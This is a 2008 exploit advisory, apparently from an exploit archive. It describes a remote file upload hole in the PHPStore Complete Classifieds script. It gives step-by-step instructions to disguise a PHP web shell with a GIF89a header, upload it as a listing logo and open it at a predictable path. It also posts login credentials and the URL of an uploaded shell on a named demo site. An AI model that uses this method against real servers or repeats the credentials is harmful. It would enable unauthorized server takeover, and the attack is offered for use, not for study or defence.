PHPStore Complete Classifieds Script File Upload Vulnerability

2008-11-10 01:01:03

PHPStore Complete Customizable Classifieds Remote File Upload

Author: ZoRLu msn: [email protected]

home: www.z0rlu.blogspot.com

N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (

-----------------------------------------


exploit:


first register to site

you add this code your shell to head

GIF89a;

example your_shell.php:

GIF89a;
<?

...

...

...

?>

and save your_sheell.php

login to site and Add Listing click open the new page upload logo (upload your_shell.php)

your_shell.php path:

localhost/script/yellow_images/[ID]_logo_your_shell.php

---------------------------------------------

example for demo:

login: http://www.phpstore.info/demos/cars/login.php

user: zorlu

passwd: zorlu1

shell: ( not permission for demo server )

http://www.phpstore.info/demos/classifieds1/yellow_images/1226242317_logo_c.php


http://www.phpstore.info/demos/classifieds1/yellow_images/ ( you look here and see shell 1226242317_logo_c.php )

------------------------------------------------

thanks: str0ke & yildirimordulari.org & darkc0de.com

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.